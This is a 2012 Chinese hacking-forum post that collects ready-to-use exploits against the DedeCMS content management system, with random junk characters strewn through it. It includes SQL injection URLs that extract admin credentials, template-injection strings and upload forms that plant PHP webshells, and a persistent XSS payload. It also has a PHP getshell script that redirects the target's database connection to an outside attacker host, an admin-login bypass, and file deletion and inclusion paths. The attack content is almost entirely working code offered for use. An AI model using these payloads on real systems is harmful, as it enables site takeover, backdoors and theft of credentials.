找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3488|回复: 0
打印 上一主题 下一主题

dedecms漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-10-18 10:42:14 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0 m# }2 k3 V; n$ B% I) {6 P+ }
Dedecms 5.6 rss注入漏洞* k3 ^, J8 a, D( I
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
6 q: Z: j" r& R
2 [% d# d  l7 H8 s. I' w! u* d; q. s/ }( y

# u: I& n" E! b+ l# J, `7 R: ]. k8 v9 T& L7 a- H
- l; ]+ |3 E7 E
# \! _+ Q! U+ S2 [
6 W, [! b4 g- s

, @9 o6 \/ O% ^DedeCms v5.6 嵌入恶意代码执行漏洞2 s& v0 u6 c/ G
注册会员,上传软件:本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
  F- |) ~; |; t- o1 ~$ {9 ~, L4 r发表后查看或修改即可执行8 B. }: W$ Y$ Z
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
2 p! _( T3 u/ y( \生成x.php 密码xiao,直接生成一句话。
) j; @1 q8 V3 K6 F" M) M0 P3 X0 g1 F. r6 e5 b5 h
( X8 ?& h+ F( F5 i0 Y

; H- Q' ~- R, [& M2 f. ?) T
4 d/ I3 |  S" [
. q9 l. s& X7 e( |
$ X' }4 `0 f" G/ S
4 }. S9 L, i: I- K
. y5 e" B/ q3 p' ZDede 5.6 GBK SQL注入漏洞, u5 l5 n# D& g: A) t
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';* l1 ~1 _# a+ y, P9 p' v9 M9 x& x7 |
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
1 M; W+ n$ f$ Nhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
/ K  B* s! Y0 z: A  n8 O6 H) {6 @
% e  [( h5 z, X3 e( e9 Q* |

: x* x5 w8 Y4 y$ p, S/ ?' s( o2 I7 X7 B% n* a
9 x, n4 b2 S" R& ~
- _& U7 O4 a" K" A

0 K, D1 p- i7 `2 Y2 f+ `" u+ D5 Q3 \3 T" f
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞2 F7 m, r7 C4 S4 {0 Y
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
' ~. W" C8 g/ R$ X& m4 u5 C' ~! C0 ^, E. d# |9 q) _1 h
9 B3 e. L" L* S/ |' A( j
6 G$ A  A- l  ]# c" x" M& T
+ A( E' [, }% L% C

+ t' w. w) m4 r2 r% K' Y
2 u$ W! w' G) b" M  VDEDECMS 全版本 gotopage变量XSS漏洞7 c3 [) ~1 _5 z& e7 r' A7 b+ X$ s
1.复制粘贴下面的URL访问,触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞,需关闭XSS筛选器。 ' ?; o, L2 o! H4 l4 d" J; Q3 H
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="/ O- U6 q) q2 c2 n+ e7 i
% h$ X2 h6 D/ w& B, V  `

+ w' H) [5 A5 ]" O$ g8 I/ N9 [3 F1 Q2.关闭浏览器,无论怎么访问下面的任意URL,都会触发我们的XSS。
' T7 ]- p+ U# F  U8 d
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda2 I; m/ P% Y" N* W; N; A3 _, V1 T8 I
6 c6 l( v4 a0 _( ?
/ f! H- X9 N) {& }. J+ ]& M9 O6 S
http://v57.demo.dedecms.com/dede/login.php
# @, F+ Z- |$ L. r7 j+ M$ W3 h4 f( g  S1 @, s; B+ m! R
$ a: H! t5 U8 `, e: e
color=Red]DeDeCMS(织梦)变量覆盖getshell
; W6 y' o3 u2 U  Q+ P#!usr/bin/php -w! K& R3 t, O" i9 y" H+ u1 U5 W
<?php, V! z- }& ?5 {/ _
error_reporting(E_ERROR);6 f) z% ]) d1 V# l- m+ U
set_time_limit(0);
( M+ h; r3 T1 n! b) j6 y* o, fprint_r('8 n. z$ L8 D6 N$ Y, l% ?/ J
DEDEcms Variable Coverage
3 i* _0 F2 s" K2 m, p9 `9 I  `7 aExploit Author:
www.heixiaozi.comwww.webvul.com2 P) s' a$ r; a+ D  e/ O" I
);
. d+ v9 g. I! N' g4 z2 Q  F5 ~echo "\r\n";) e2 ~5 x1 J# I# e# D0 X3 @
if($argv[2]==null){1 {( u$ X) r2 A" Z
print_r('
# D' r( f0 C& r9 f+---------------------------------------------------------------------------+
6 {. F; D7 b& b7 E# S% v! NUsage: php '.$argv[0].' url aid path5 L5 _% U, p3 u( q5 m
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/; c" _5 [! \6 k6 y& r! y, j$ z4 A
Example:
% H  D9 J; n& xphp '.$argv[0].'
www.site.com 1 old
. P0 [, Z; o* X1 [+---------------------------------------------------------------------------+
& x  y7 z7 |3 L8 f');4 I; }/ }# G# [
exit;. ?+ t+ x+ d# g& Z: \5 _2 @
}
# o4 b2 X5 V1 I, l- D$url=$argv[1];
) P' @; \- @9 w$ j: Z$aid=$argv[2];6 F  r8 N8 d% v1 D: g
$path=$argv[3];
7 C. k0 q8 \0 r% L9 i! |7 o/ E( _$exp=Getshell($url,$aid,$path);
3 {8 S$ M0 H- V8 [if (strpos($exp,"OK")>12){4 \0 T& i+ M. W8 O/ i5 Y0 c$ Q
echo "/ N, W1 F& c: v& A4 M: _; j
Exploit Success \n";$ C, n4 ]1 v. _3 B& R* T
if($aid==1)echo "
  ?: |3 s* r8 ?; XShell:".$url."/$path/data/cache/fuck.php\n" ;% i) Q' u) ]! x: ?

. @5 e& H) K/ ~# M! d. H5 a! m: N& f* |& p
if($aid==2)echo "
; a# q2 n" F) O1 tShell:".$url."/$path/fuck.php\n" ;
0 \6 o# }' `, R( f" R+ H
1 n7 S+ ^; G& d3 ^$ z
( b* X3 T3 b; j, @0 \0 z4 ]% v: Rif($aid==3)echo "
( F* [5 ?7 e/ WShell:".$url."/$path/plus/fuck.php\n";$ q0 h% {# a/ o% r

" l! q  T! A/ v9 n. N: T! A# W) @1 g: B
}else{
" X; L4 V2 _7 F% ]9 I6 L, Hecho "
9 P7 y) u& |# b# z9 r6 I1 G* ^Exploit Failed \n";
4 N) l  i* J# {8 z- y# @) e}+ c& Y% q9 ]" ~7 D6 r/ B# h
function Getshell($url,$aid,$path){& a; `, Q% \5 \4 p# f
$id=$aid;
, l  H/ E6 x$ X& R  _$host=$url;% v/ L- n) u" r5 u: T
$port="80";
. U0 ?( H6 J9 K6 X6 e$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
7 [) e3 g  K% N/ `5 n5 @* w+ \5 W$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";: m# T0 |4 ~9 L  b" Y  X1 a0 o
$data .= "Host: ".$host."\r\n";" j  R- M9 T2 o0 z
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
% j8 B  s# b+ S5 N+ v$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
4 Y! H0 O/ f( x  A6 k& e$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
3 @' @3 a! w+ d//$data .= "Accept-Encoding: gzip,deflate\r\n";3 V! D) V/ o* b) ^4 R
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";: |. o: s% W  @7 I9 S. U
$data .= "Connection: keep-alive\r\n";) b+ b8 N, S# {2 {; ?
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";" _, Y" l# ~( t0 b4 o2 d8 @/ F( ]
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";0 g2 D, R8 \4 T- B  f! e; `; F
$data .= $content."\r\n";, ^$ c# }/ F) q- l' t, u; v' i3 _
$ock=fsockopen($host,$port);& S0 T; b# u- g5 v& Y
if (!$ock) {9 M' m# q7 a( r: O; s; U
echo "
* Q1 c; n$ t3 N" zNo response from ".$host."\n";
& G* O7 y2 m1 S7 `9 ~7 L}6 k* I/ Y6 v! E+ \+ P8 C7 j: ?/ y
fwrite($ock,$data);
. r6 e6 n  }5 ]  Y. ]while (!feof($ock)) {
* p  b. t6 d7 I8 G- h3 T, I$exp=fgets($ock, 1024);" R6 E* |) r+ x  s& M7 E
return $exp;
) j! ^0 f4 W0 X8 g}
2 ?: j3 k$ \+ [) `8 {}
0 |; y4 e4 k0 K1 J0 K, H. I# J; E0 d4 p9 [5 p' [% M
0 x5 L0 o: P, {% N# S
?>
& V& x& Z) h, ?  ]2 w
1 m- g, q. M* U% m+ V
0 L  {& k; {! @
- `& l% J2 u  {2 s* O+ s- T/ Q/ l6 a( ~: r$ n

! H  y8 D: w. l$ Y/ l! i
# z* ~8 _8 c. l9 `4 B9 z, t' Z, c& D' J+ ^) \
& Y8 r  \' d, `1 V
' I% e2 g1 [; S" o

" l2 f0 ]# q' r! k5 g, N* r$ ?# `DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)0 Z* w- c8 i! y' S& n2 g
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
0 U3 ~) N2 f* f% X$ T; ?
& D! U9 g7 {3 H
  g# S& n- K) Y. X9 ?把上面validate=dcug改为当前的验证码,即可直接进入网站后台
2 E8 c+ Z4 L* k7 Q' Y% q
) O- a" G' i# U& n, _  L
) k6 P9 [# z6 x! A: v# e* U此漏洞的前提是必须得到后台路径才能实现( d4 Z5 s* }/ j7 A- ~" a5 L& U% @  h
3 e9 L$ v6 I% e8 Q" X
9 a) q6 v+ V% p) a' k

6 O, k  B1 |8 |! c+ d4 Y" ^$ c0 Y  r) a" ^0 Q. d; o5 ]/ g

0 ?% u/ L  D" H! ~. H6 [- W
8 i% C' l7 `7 R0 C% N3 Z6 [7 J) L$ E0 e( q" P! K5 {
& _9 H4 k* X8 t1 `! j

- j% G( R6 k% A
6 c) {3 R& J, u. ]Dedecms织梦 标签远程文件写入漏洞
/ W$ o% c/ T! t' K前题条件,必须准备好自己的dede数据库,然后插入数据: insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
; C5 Z/ b' B+ p0 R0 X5 ?0 a9 V5 @3 A# L+ E+ U4 Z
' h2 G" k. F7 ?8 d
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。
4 i6 K/ V6 E. e: C( U<form action="" method="post" name="QuickSearch" id="QuickSearch">
8 i  k0 |& S" ?& D, ]4 Y1 v<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />- V) j  W1 }( E& G# f
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />0 F6 C2 G$ N- ?  |9 q0 u2 i
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
( ?4 b; b& }: C7 K" n! G( i$ f<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
! E5 J: d4 n6 P<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
; J) G1 L9 F5 `2 F5 |4 |- X5 t<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />3 f2 H3 o% M/ f3 B
<input type="text" value="true" name="nocache" style="width:400">
1 y+ J" C* K. Z4 v<input type="submit" value="提交" name="QuickSearchBtn"><br />" I! {3 ]# @  m  w
</form>
" U. t1 f6 ]% t) Q) t& P<script>
" e( r' n3 h0 ?7 P; Cfunction addaction()
! \$ d: M  e8 i3 M' K{/ M# w& b6 ~( ]" F
document.QuickSearch.action=document.QuickSearch.doaction.value;  k) Y. @! N$ G) l4 I: i6 F7 I
}# j% k$ p8 j7 a, v! c3 @
</script>
1 o3 u7 Y/ _, |1 C$ a9 L# a( L
- J% E) D, l% x- a4 s4 h, W% N+ B

4 Z: y, ~5 K2 d: |. U0 L6 ?: p* y" b" I

% Z2 S0 ~+ g4 Q: {, c; o# g4 d" r8 z% i+ O0 n6 ]
& f1 c4 F; n" O' o1 B) Z, O
6 a' |$ f- K8 x* B
# S( F" I% Q; j" E, D

, Q5 H& H6 W  a+ h9 \DedeCms v5.6 嵌入恶意代码执行漏洞
9 v" t: q( d8 I7 R: o注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行
$ ^, g4 R+ M8 A2 `$ W5 |a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}, a9 D5 P( S: K8 |
生成x.php 密码:xiao直接生成一句话。密码xiao 大家懂得
& O& Y# r: U; N/ vDedecms <= V5.6 Final模板执行漏洞
" S) z: B$ j$ r' r) d注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
- H& `% f$ Q( \% S/ X2 n5 L% Puploads/userup/2/12OMX04-15A.jpg+ G+ Z% `7 L1 C/ g6 e( P

  [& k- c8 [3 ^" Y/ H  s; h+ j' E' d4 E' ~' ~
模板内容是(如果限制图片格式,加gif89a):
* i0 L2 _! z5 S  \9 O4 {- R{dede:name runphp='yes'}
5 Q+ y7 V( i  {8 k$ l1 X$fp = @fopen("1.php", 'a');
3 ~* A+ O2 N3 P& S@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
% g) r5 c# ?) l: @. [@fclose($fp);
  ]& ?0 c  d! B2 p{/dede:name}
4 r' Q% n; _1 T# m) w5 e) J: @2 修改刚刚发表的文章,查看源文件,构造一个表单:
5 r. i4 s4 H' T$ o3 e% W. T<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">9 g2 X0 u" ]3 D* v6 f
<input type="hidden" name="dopost" value="save" />. l- D* [5 M1 E# x" s8 {! s) Y5 u
<input type="hidden" name="aid" value="2" />: x# ]: f% H. I3 [. Z% }
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
+ r& r* @# I# l<input type="hidden" name="channelid" value="1" />
6 W( u6 u5 t& e- c9 |2 `0 A<input type="hidden" name="oldlitpic" value="" />: c6 S5 Y8 n( w& V4 l+ c
<input type="hidden" name="sortrank" value="1275972263" />
* P' Z& Z8 R+ {6 d9 ~/ d7 `
. X% n& x' N( e$ n$ `
, Y' B+ p4 c1 s, B1 a<div id="mainCp">
; F: [. y' l' f0 L- t<h3 class="meTitle"><strong>修改文章</strong></h3>
7 W  `: ^- M# d: G1 L6 @8 B* C3 j4 O2 d! P

. L) B2 a8 R4 G% I<div class="postForm">( z2 D$ d; a4 g0 S
<label>标题:</label>
+ r! z) j: K# G$ k- g<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>. j9 |) D* K' J% J

& Q% X% Z8 Q' U* x) D# h! K
" D' ]7 x* q  L# ]1 f$ u' o0 G6 H' B<label>标签TAG:</label>
8 a# b  I/ j3 a2 W# q+ z" Y' N<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
+ V1 \( H( p! d% |. \8 x; d# S* S3 L. u2 a; F* a

9 ^  ]) E6 `* Q8 Q- s" W+ E! Q<label>作者:</label>
, ~# l! q7 o% x6 e7 o( L<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
* v1 q+ J' D% N+ e8 V
9 V4 ]: d1 r: }- C* F3 |' W+ u1 G9 t! y& S2 D( S6 ^- P* J
<label>隶属栏目:</label>
( \1 ~% m: \, s$ j<select name='typeid' size='1'>7 l1 Z1 E$ x+ I+ n" ]' F
<option value='1' class='option3' selected=''>测试栏目</option>+ n9 y3 m7 z7 @& P
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
! }" v+ k; h5 O7 D! w0 W8 m. L9 C) U
" h% h5 y) G2 `5 r+ i: V
<label>我的分类:</label>
3 V# \7 h5 x! f, M) r<select name='mtypesid' size='1'>
' e# A/ B' q+ B5 H  j' a<option value='0' selected>请选择分类...</option>+ A8 [' L0 B) |
<option value='1' class='option3' selected>hahahha</option>
5 X5 |& }, h. b9 H: K% M8 I</select>
( z; q/ g4 c0 u: D, Y2 Y  Z
4 B9 R) D  Q" N( O5 ]5 v6 S4 W( A0 P% e) X
<label>信息摘要:</label>
( n* Z4 D/ r' q1 x+ A7 f0 T<textarea name="description" id="description">1111111</textarea>
! _* C0 C, a  k7 i( z& e8 I(内容的简要说明)( Q) w5 M+ i  Z7 Z  X

8 H0 `# o  w- J4 r, j
1 g- t' E2 J' |<label>缩略图:</label>
7 @) W! [- w3 i4 c$ R<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>% s' p4 v$ s# I9 t* Z
5 u) r, E, a/ J) {3 h1 v! L- Y

7 u. j0 Q, Q) q<input type='text' name='templet'( y0 ]& l. C7 \
value="../ uploads/userup/2/12OMX04-15A.jpg">
6 {$ s. |# v3 ?+ P  l+ ^<input type='text' name='dede_addonfields'
, D4 f) w1 M/ a* }value="templet,htmltext;">(这里构造)
! E0 N  z& _  O! }1 e</div>
" n# |: E; G1 z" @
4 Y3 ?" v  n* I9 ?; G: x; q" r# Q/ ~) S# l$ E
<!-- 表单操作区域 -->
) m6 n1 @6 n9 M0 u<h3 class="meTitle">详细内容</h3>( ~: x! E7 {$ T; y3 \* x& s. V- w
1 ^; d) t; `* b

! }6 g8 A6 u  H<div class="contentShow postForm">( |2 c2 }# Q1 I" S8 @
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
5 j" X" G: \9 o4 y; D) K' f/ d. l
8 X# d5 [, d4 n  N1 _# k: @$ W4 O+ k) d! E) P6 [
<label>验证码:</label>
2 W! u* G4 f5 a# |7 F, R<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
9 k! M! l- i& |- k9 Z5 q<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" />0 N0 r% h9 `% T5 W6 }& T8 c
( [8 p: o* y% j5 C5 G" J

8 P0 R$ A& ^; U3 k' f( U1 I& i<button class="button2" type="submit">提交</button>
2 ^2 G& s! T9 Q" g5 d$ C) g<button class="button2 ml10" type="reset">重置</button>
+ K* M3 J: w# n) V2 ^* y</div>
  ^3 S+ j- S* ^3 v3 }: ^; A* B$ L  I3 Z

/ R  k: S1 j( \8 Y$ l</div>3 l- m0 z( h/ G: p! T

$ M" y2 t+ K% D7 R/ A
3 E4 A* Z% {5 R. W5 {</form>$ i6 T# `3 J. g

; H/ f3 [8 g8 t0 N! |8 m+ N; h5 E8 s$ \2 i0 e4 H7 W
提交,提示修改成功,则我们已经成功修改模板路径。 3 访问修改的文章:* \5 i9 i; L6 _$ S' [; ?9 X9 t" }5 G
假设刚刚修改的文章的aid为2,则我们只需要访问:
8 i% I( J0 o0 w5 V0 {
http://127.0.0.1/dede/plus/view.php?aid=2
  y$ y) h1 L& R7 h0 t5 f- Q即可以在plus目录下生成webshell:1.php* b0 Y8 {; }: ]) i0 z# `

2 j, z4 `; t9 ^5 Z; \8 }2 ?% P
% W0 T/ Q. e2 i- W6 J$ A- X; G  f6 B; R* q& ?4 b) k2 a$ C- }( B
4 w  ]" r$ F2 F6 L8 _% ^

8 T# }3 m) e0 ~  c. @* h1 Z! ~; `
/ `8 F' J$ f1 ^9 W' X* a$ [: h
& z/ a! q) x' B3 u$ X2 J- }' y0 W4 X6 r9 U# w
$ c& k9 |2 t9 X1 `5 ]& W; ~
7 l; p, ]9 \, R1 r4 a" p
6 n$ B  u( R  i9 Q; t% N' }7 ]* t9 Q

6 y8 J' M- N9 m1 L9 q2 nDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
$ R! U5 T* u9 b/ Q; Y( BGif89a{dede:field name='toby57' runphp='yes'}  y2 @4 `0 V' z
phpinfo();
/ G" A, ^, y7 ~; k4 G/ T9 X{/dede:field}
) m5 |: c+ r% q2 B0 p保存为1.gif6 ?* P/ {. ^9 U9 N6 h, U
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
7 m) q  h" ]% u( @- e<input type="hidden" name="aid" value="7" />
# @5 A( O, k; J5 ~2 N* U$ k8 T<input type="hidden" name="mediatype" value="1" /> % T9 p7 F# m* r: c$ Q
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
' Y1 o% G- j! H/ C: d4 `7 S<input type="hidden" name="dopost" value="save" /> + y1 S0 h4 Y4 I) v: S6 j
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
1 L  d# `3 M4 r; A% T) q1 g. x<input name="addonfile" type="file" id="addonfile"/> , G3 n4 N& z. R$ ~
<button class="button2" type="submit" >更改</button> ) _' O% ^, e- T- s% H  ~1 S+ i
</form>
' U" \$ x+ V4 v3 ]8 x/ x) R/ k) d8 |6 X* d7 j: K6 {+ o
0 V. e& k5 [8 u
构造如上表单,上传后图片保存为/uploads/userup/3/1.gif3 Z+ f8 E. e$ ~! h
发表文章,然后构造修改表单如下:4 C; m# i3 `8 m1 k& ]8 T0 z

- p; a5 n) j- O: ]1 S9 m  |  i3 Q5 f, d
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
7 R, s) T& D/ N" M* W/ ~, C! W<input type="hidden" name="dopost" value="save" /> 2 z- o4 L, Q+ K
<input type="hidden" name="aid" value="2" />
; h) i7 x" K0 S& H; J<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
  X: E" W& U+ R7 k7 ~" {<input type="hidden" name="channelid" value="1" /> ; I; Z% @/ G* d0 p$ B; L
<input type="hidden" name="oldlitpic" value="" />
6 K- ~1 N  B* G( G0 Y<input type="hidden" name="sortrank" value="1282049150" />
: |" S' R/ c7 C& X<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
2 [, u' V* ^; D! m7 ^) b<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/> 1 X6 Z% A# Z0 K1 x2 z/ N
<select name='typeid' size='1'>
% D" u* y/ `( N( g- ?# \<option value='1' class='option3' selected=''>Test</option>
1 ]  s6 t" W3 V" X6 A8 W<select name='mtypesid' size='1'> " F9 n7 L0 i+ A& G7 u
<option value='0' selected>请选择分类...</option>
& d# l  s) }, ?) t6 w<option value='1' class='option3' selected>aa</option></select> 3 q: V8 L& E+ A6 Y! W% l
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea> 3 o- d  a) |" }, w3 t/ m$ V8 l8 A3 z+ q
<input type='hidden' name='dede_addonfields' value="templet"> ! n! D( Z" a0 \& V9 |
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
) q9 @8 h( `* d! V5 q9 h<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
$ J) ?2 H( c! U& [: F6 L9 ]<button class="button2" type="submit">提交</button> + E6 g. G3 y- i
</form>
1 V8 v' L7 U- V- Z* h! {: z2 o
& i4 a; f# K, T, }% j/ a
: i" U' S; {# p9 m$ ^: {1 B  B( P& x3 h1 m! v

+ Z5 E$ ?  S9 B% k0 D( H2 K% F% \

: O! p3 z4 b% P4 H- e
3 ]" o( O" ~8 O# t  k8 G8 d3 E1 v/ S6 y

6 W# P3 C" O* j8 r1 K3 x' g2 h' C% k) R9 z

' @' ^4 q/ ~. L
1 |( ~% G8 [" s+ O; Y. @& k- f织梦(Dedecms)V5.6 远程文件删除漏洞
% ^/ v/ m& E& G: N0 l" w& i
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
5 C, R3 K  S, l
6 l* C, ~& @8 j6 m
( F+ G$ f/ E2 M3 s  Q0 t
( T6 d- N5 q4 T  s9 a: k2 W, }% S7 Q. s0 t( z# l

* z9 k  N& q3 `7 J. x
# ]; ?$ M2 w" c# n" Y
4 Y- w# i8 z. z1 o/ |/ s5 L
5 i5 z- {6 [9 x; X' T* Z' J  G& r+ D, S) v- N- S
' |& R7 r  f- O8 x: x" e
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
9 J: l) u% D, J6 r
http://www.test.com/plus/carbuya ... urn&code=../../8 A0 S/ w* l, Z9 o1 W  M
) {: @/ B0 @( @, A3 g
4 w1 z9 O: W3 a/ R0 }! a2 `0 f: ]
: B( ~  q1 h+ Z% x. l
+ h+ s& P8 ?: M) U1 o

' ^3 \6 b! v. e4 U# u
3 r# G/ S% ^4 F- W+ @+ E. B( B8 n5 I/ Q. E$ ^# B
( }7 P  ]) U3 n% z9 x
- @  N2 ~! J5 `
! d8 |! G* h! n
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞 & y# G& N- M$ y/ j( y: ?2 L( V* T
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`& x& @1 d& F! `
密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5
3 Z2 l2 E, E4 F# W6 I* [
5 d1 G! {+ R  }" O# s' x2 J/ Z; l1 l
  z3 h: d. |3 B1 {$ q* D* t5 H! b% A) I; x' X
9 o2 \. K( x$ s

4 ]' f7 D! y' a5 R% u; j1 p1 v5 c* h; ]6 E  j5 Q3 h3 |

* ~* W, q- e+ u6 s! u% L6 m' s& Z8 G, s9 m0 K

- T* d1 ], C/ [, S1 u, z: B- n) j$ h/ S
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞" U3 q$ a$ n6 z- i- l
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='3 [3 b+ B) b  [6 Q; [
3 a4 X) o5 T$ [: g
* h+ [2 `- `5 ~  d

: I; r! W3 C9 Y- o1 D  Q  G* [" _  \7 r8 M! q
: M! F0 ~* I# _& o6 i' o* m6 K
6 d* t: Q4 O% t) b* P; N! k
0 D9 ?' H: s- L$ b* ]& [! o
# `" k! O2 x6 z  X9 K6 c. o2 e
; {1 V+ w$ i" J6 ?) w+ P; {# R7 x! i
4 u3 K6 |- ^) n
